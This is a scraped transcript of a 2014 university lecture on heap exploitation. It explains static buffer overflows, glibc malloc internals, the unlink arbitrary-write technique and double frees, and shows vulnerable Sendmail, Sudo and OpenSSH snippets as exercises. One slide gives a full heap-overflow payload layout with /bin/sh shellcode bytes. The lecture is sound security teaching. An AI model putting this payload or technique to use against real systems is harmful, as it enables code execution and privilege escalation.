Computer Security 2014 – Ymir Vigfusson

Slides:



Advertisements
Similar presentations
Pointers.
Advertisements

Memory Management Chapter FourteenModern Programming Languages, 2nd ed.1.
Secure Coding in C and C++ Dynamic Memory Management
Dynamic Memory Management
Introduction to Memory Management. 2 General Structure of Run-Time Memory.
Carnegie Mellon 1 Dynamic Memory Allocation: Basic Concepts : Introduction to Computer Systems 17 th Lecture, Oct. 21, 2010 Instructors: Randy Bryant.
Dynamic Memory Allocation (also see pointers lectures) -L. Grewe.
Dynamic Memory Allocation I Topics Simple explicit allocators Data structures Mechanisms Policies CS 105 Tour of the Black Holes of Computing.
Dynamic Memory Allocation I Topics Basic representation and alignment (mainly for static memory allocation, main concepts carry over to dynamic memory.
Carnegie Mellon 1 Dynamic Memory Allocation: Basic Concepts / : Introduction to Computer Systems 18 th Lecture, March 24, 2015 Instructors:
Chris Riesbeck, Fall 2007 Dynamic Memory Allocation Today Dynamic memory allocation – mechanisms & policies Memory bugs.
The University of Adelaide, School of Computer Science
Lecture 10: Heap Management CS 540 GMU Spring 2009.
Compiler construction in4020 – lecture 12 Koen Langendoen Delft University of Technology The Netherlands.
Secure Coding in C and C++ Dynamic Memory Management Lecture 5 Acknowledgement: These slides are based on author Seacord’s original presentation.
C Programming - Lecture 5
Dynamic Memory Allocation I October 16, 2008 Topics Simple explicit allocators Data structures Mechanisms Policies lecture-15.ppt “The course that.
1 Memory Allocation Professor Jennifer Rexford COS 217.
Week 7 - Friday.  What did we talk about last time?  Allocating 2D arrays.
Informática II Prof. Dr. Gustavo Patiño MJ
Chapter 15 Memory Management: Four main memory areas for a C++ program: Code: code for instructions, methods, etc. static data: Global variables (declared.
Stack-Based Buffer Overflows Attacker – Can take over a system remotely across a network. local malicious users – To elevate their privileges and gain.
Lab 3: Malloc Lab. “What do we need to do?”  Due 11/26  One more assignment after this one  Partnering  Non-Honors students may work with one other.
Processes CSCI 444/544 Operating Systems Fall 2008.
1 1 Lecture 4 Structure – Array, Records and Alignment Memory- How to allocate memory to speed up operation Structure – Array, Records and Alignment Memory-
Memory Arrangement Memory is arrange in a sequence of addressable units (usually bytes) –sizeof( ) return the number of units it takes to store a type.
Dynamic Memory Allocation I Nov 5, 2002 Topics Simple explicit allocators Data structures Mechanisms Policies class21.ppt “The course that gives.
Unix Process Environment. main Function A C program starts execution with a function called main. The prototype for the main function is: int main (int.
1 Inner Workings of Malloc and Free Professor Jennifer Rexford COS 217.
1 Pointers, Dynamic Data, and Reference Types Review on Pointers Reference Variables Dynamic Memory Allocation –The new operator –The delete operator –Dynamic.
. Memory Management. Memory Organization u During run time, variables can be stored in one of three “pools”  Stack  Static heap  Dynamic heap.
CMSC 414 Computer and Network Security Lecture 20 Jonathan Katz.
Ch 4. Memory Management Timothy Budd Oregon State University.
Chapter 7: Runtime Environment –Run time memory organization. We need to use memory to store: –code –static data (global variables) –dynamic data objects.
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
CS3012: Formal Languages and Compilers The Runtime Environment After the analysis phases are complete, the compiler must generate executable code. The.
Outline Midterm results Static variables Memory model
Computer Security and Penetration Testing
BLENDED ATTACKS EXPLOITS, VULNERABILITIES AND BUFFER-OVERFLOW TECHNIQUES IN COMPUTER VIRUSES By: Eric Chien and Peter Szor Presented by: Jesus Morales.
Computer Security 2014 – Ymir Vigfusson Based on “Undefined Behavior: What Happened to My Code?” by Wang et al. APsys 2012 and Wang et al. OSDI ‘2012.
Computer Security 2014 – Ymir Vigfusson. 2  We have been investigating buffer overflows  Understand the intricacies of injecting malicious code  What.
Pointers OVERVIEW.
University of Washington Today Finished up virtual memory On to memory allocation Lab 3 grades up HW 4 up later today. Lab 5 out (this afternoon): time.
1 Dynamic Memory Allocation: Basic Concepts. 2 Today Basic concepts Implicit free lists.
Computer Security 2015 – Ymir Vigfusson. 2  We have talked extensively about stack overflows  But those are not as common anymore  Heap overflows 
Writing You Own malloc() March 29, 2003 Topics Explicit Allocation Data structures Mechanisms Policies class19.ppt “The course that gives CMU its.
CNIT 127: Exploit Development Ch 4: Introduction to Heap Overflows
Author: Gene Novark, Emery D. Berger University of Massachusetts Amherst DieHarder: Securing the Heap ACM CCS’10.
CS415 C++ Programming Takamitsu Kawai x4212 G11 CERC building WV Virtual Environments Lab West Virginia University.
CSE 374 Programming Concepts & Tools Hal Perkins Fall 2015 Lecture 10 – C: the heap and manual memory management.
1 Lecture07: Memory Model 5/2/2012 Slides modified from Yin Lou, Cornell CS2022: Introduction to C.
Dynamic Memory Allocation II
Carnegie Mellon 1 Bryant and O’Hallaron, Computer Systems: A Programmer’s Perspective, Third Edition Dynamic Memory Allocation: Basic Concepts :
Dynamic Memory Allocation April 9, 2002 Topics Simple explicit allocators Data structures Mechanisms Policies Reading: 10.9 Problems: and class21.ppt.
University of Washington Today More memory allocation!
Carnegie Mellon 1 Dynamic Memory Allocation: Basic Concepts Instructors: Adapted from CMU course
CSE 351 Dynamic Memory Allocation 1. Dynamic Memory Dynamic memory is memory that is “requested” at run- time Solves two fundamental dilemmas: How can.
University of Washington Implementation Issues How do we know how much memory to free given just a pointer? How do we keep track of the free blocks? How.
Beyond Stack Smashing: Recent Advances In Exploiting Buffer Overruns Jonathan Pincus and Brandon Baker Microsoft Researchers IEEE Security and.
Software Security. Bugs Most software has bugs Some bugs cause security vulnerabilities Incorrect processing of security related data Incorrect processing.
Variables Bryce Boe 2012/09/05 CS32, Summer 2012 B.
Heap Overflow Attacks.
Stack and Heap Memory Stack resident variables include:
Section 10: Memory Allocation Topics
Dynamic Memory Allocation
Dynamic Memory Allocation: Basic Concepts CS220: Computer Systems II
The Hardware/Software Interface CSE351 Winter 2013
Memory Allocation CS 217.
Memory Allocation II CSE 351 Autumn 2017
The future of Software Security Dr. Si Chen
Presentation transcript:

Computer Security 2014 – Ymir Vigfusson Abusing the heap

Today We have talked extensively about stack overflows Heap overflows But those are not as common anymore Heap overflows Abusing static buffers Exploiting malloc()

Static buffer overflows Suppose overflow happens in a static buffer No return addresses to overwrite... Can we do something? Heap (via malloc) Program text (.text) Initialized data (.data) Uninitialized data (.bss) User stack Top of heap (brk ptr)

Static buffer overflows So what can we overwrite? __iob (FILE) structure DIR entries *printf/*scanf/*dir Function pointers stored on the heap atexit(), rpc callbacks, window callbacks Data stored on heap Malloc, getenv(), tmpnam() Constructor/destructor, always called after exit() .ctors / .dtors

Dynamic buffer overflows Malloc/free in C work like new/delete in C++ Large slabs of memory allocated via kernel brk() ... and small chunks managed internally via malloc() Heap (via malloc) Program text (.text) Initialized data (.data) Uninitialized data (.bss) User stack Top of heap (brk ptr)

Malloc in a nutshell malloc returns a pointer to available space on heap free of that pointer marks it as available But how do we know chunk sizes? p0 = malloc(4) p0 5 free(p0) block size data

Malloc – under the covers Efficient allocation May have tons of free chunks all over the place Need to be efficiently able to find one of a given size Solution: Maintain lists of free blocks of given size 5 4 2 6 Allocated block Free a = 1: Allocated block a = 0: Free block Size: block size Payload: application data (allocated blocks only) Size a Size a Payload and padding Next Prev Size a Size a

Malloc -- Explicit Free Lists Logically: Physically: blocks can be in any order A B C

Malloc -- coalescing Malloc() breaks big blocks into small chunks But how do we get big blocks back when freed? Solution: immediate coalescing We coalesce both directions (using boundary tags) 4 2 p logically gone free(p) 4 4 6 2 2

Freeing With a LIFO Policy (Case 1) conceptual graphic Before free( ) Root Insert the freed block at the root of the list After Root

Freeing With a LIFO Policy (Case 2) conceptual graphic Before free( ) Root Splice out predecessor block, coalesce both memory blocks, and insert the new block at the root of the list After Root

Freeing With a LIFO Policy (Case 3) conceptual graphic Before free( ) Root Splice out successor block, coalesce both memory blocks and insert the new block at the root of the list After Root

Freeing With a LIFO Policy (Case 4) conceptual graphic Before free( ) Root Splice out predecessor and successor blocks, coalesce all 3 memory blocks and insert the new block at the root of the list After Root

Malloc implementations - GNU/Linux A few main versions of memory allocators Doug Lea‘s Glibc (Linux) BSD phk (FreeBSD, BSDi, OpenBSD, OS-X (?)) System V AT&T tree-based (Solaris, IRIX) RtlHeap (Windows) We will focus on the first one in this lecture. Size a Next Prev Prev_size m Size a Prev_size m

Malloc implementation islr = 0; if (!(hd & PREV_INUSE)) { /* consolidate backward */ prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); } if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) { /* re-insert last_remainder */ link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd); next = chunk_at_offset(p, sz); set_head(next, nextsz); /* clear inuse bit */ set_head(p, sz | PREV_INUSE); next->prev_size = sz; if (!islr) frontlink(ar_ptr, p, sz, idx, bck, fwd); #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA The situation Typical heap overflow situation in C p = malloc (24); strcpy (p, toobig); ... (i) free (p); or (ii) free(q); p q Prevsize m a Size m a Prevsize m a Size m a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The situation Typical heap overflow situation in C p = malloc (24); strcpy (p, toobig); ... (i) free (p); or (ii) free(q); (i) Pretend second block is already free (ii) Pretend first block already free p q Prevsize m a Size m a data Prevsize m a Size m a AAAAAAAAAAAA fffffffc 0 0 fffffffc 0 0 NextPrevAA.. NextPrevAAAAAA fffffffc 0 0 fffffffc 0 0 AAAA…

Malloc implementation #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } islr = 0; if (!(hd & PREV_INUSE)) { /* consolidate backward */ prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); } if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) { /* re-insert last_remainder */ link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd); next = chunk_at_offset(p, sz); set_head(next, nextsz); /* clear inuse bit */ p Size data a Prevsize m AAAAAAAAAAAA fffffffc 0 0 fffffffc 0 0 NextPrevAA.. q

Can write to an arbitrary memory address! Exploiting malloc The unlink macro *(next->fd + 12) = next->bk *(next->bk + 8) = next->fd #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } Can write to an arbitrary memory address! p Size data a Prevsize m AAAAAAAAAAAA fffffffc 0 0 fffffffc 0 0 NextPrevAA.. q

Typical exploit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <fake prev_size> \xfc\xff\xff\xff <fake size> <fake next = ptr to overwrite location - 12> \x1c\x97\x04\x08 <return address> \x78\x98\x04\x08 <jump ahead 12 bytes> \xeb\x0c <12 bytes of stuff which may get overwritten> AAAABBBBCCCC <shellcode of your choice> \xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56 \x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b \xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh

Double-free vulnerabilities Suppose free(p) is accidentally called twice… Chunk added twice to free list Malloc’ed again with user-controlled data … but coalesced on some adjacent free() ! Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Summary Static buffer overflows also dangerous Can overwrite important (function) pointers Malloc() uses control data between heap chunks Most implementations use explicit free lists Buffer overflow can instate fake free-list pointers On coalescing, can be made to point anywhere ... Vulnerability triggers Overflow of heap memory Double-free bugs Off-by-one overflows (overwrite frame pointer)

Asterisk phones (2012) – Where‘s the bug?

Sendmail – Where‘s the bug? void sighndlr(int dummy) { syslog(LOG_NOTICE,user_dependent_data); // *** Initial cleanup code, calling the following somewhere: free(global_ptr2); free(global_ptr1); // *** 1 *** >> Additional clean-up code - unlink tmp files, etc << exit(0); } /************************************************** * This is a signal handler declaration somewhere * * at the beginning of main code. * **************************************************/ signal(SIGHUP,sighndlr); signal(SIGTERM,sighndlr); // *** Other initialization routines, and global pointer // *** assignment somewhere in the code (we assume that // *** nnn is partially user-dependent, yyy does not have to be): global_ptr1=malloc(nnn); global_ptr2=malloc(yyy); // *** 2 *** >> further processing, allocated memory << // *** 2 *** >> is filled with any data, etc... <<

Sudo – Where‘s the bug? /* Log a message to syslog, pre-pending the username and splitting the message into parts if it is longer than MAXSYSLOGLEN. */ static void do_syslog( int pri, char * msg ) { int count; char * p; char * tmp; char save; for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) { if ( strlen(p) > MAXSYSLOGLEN ) { for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- ) ; if ( tmp <= p ) tmp = p + MAXSYSLOGLEN; /* NULL terminate line, but save the char to restore later */ save = *tmp; *tmp = '\0'; if ( count == 0 ) SYSLOG( pri, "%8.8s : %s", user_name, p ); else SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p ); /* restore saved character */ *tmp = save; /* Eliminate leading whitespace */ for ( p = tmp; *p != ' '; p++ ) } else { }

OpenSSH – Where‘s the bug? /* * Pointer to an array containing all allocated channels. The array is * dynamically extended as needed. */ static Channel **channels = NULL; * Size of the channel array. All slots of the array must always be * initialized (at least the type field); unused slots set to NULL static u_int channels_alloc = 0; Channel *channel_by_id(int id) { Channel *c; if (id < 0 || (u_int)id > channels_alloc) { logit("channel_by_id: %d: bad id", id); return NULL; } c = channels[id]; if (c == NULL) { logit("channel_by_id: %d: bad id: channel free", id); return c;

Next assignment! Feel free to talk to us! Delve into particular historical exploits or techniques Fully understand what’s going on. Reproduce code / exploits. Be able to express the main ideas for everybody else with <=6 slides Be able to answer deep questions about the topic at hand Prepare 2-3 quiz questions for the audience Submit these questions by Thursday morning 10am. 1-2 people in a group, 15 min presentation Accounts for 10% of final grade Presentations on Thursday 15:30-17:30 Run from our laptops to record, so please use only PDF/PPT Feel free to talk to us!

#include <signal.h> #include <string.h> #include <stdlib.h> void sh(int dummy) { printf("Running with uid=%d euid=%d\n",getuid(),geteuid()); } int main(int argc,char* argv[]) { seteuid(getuid()); setreuid(0,getuid()); signal(SIGTERM,sh); sleep(5); // this is a temporarily privileged code: seteuid(0); unlink("tmpfile"); exit(0);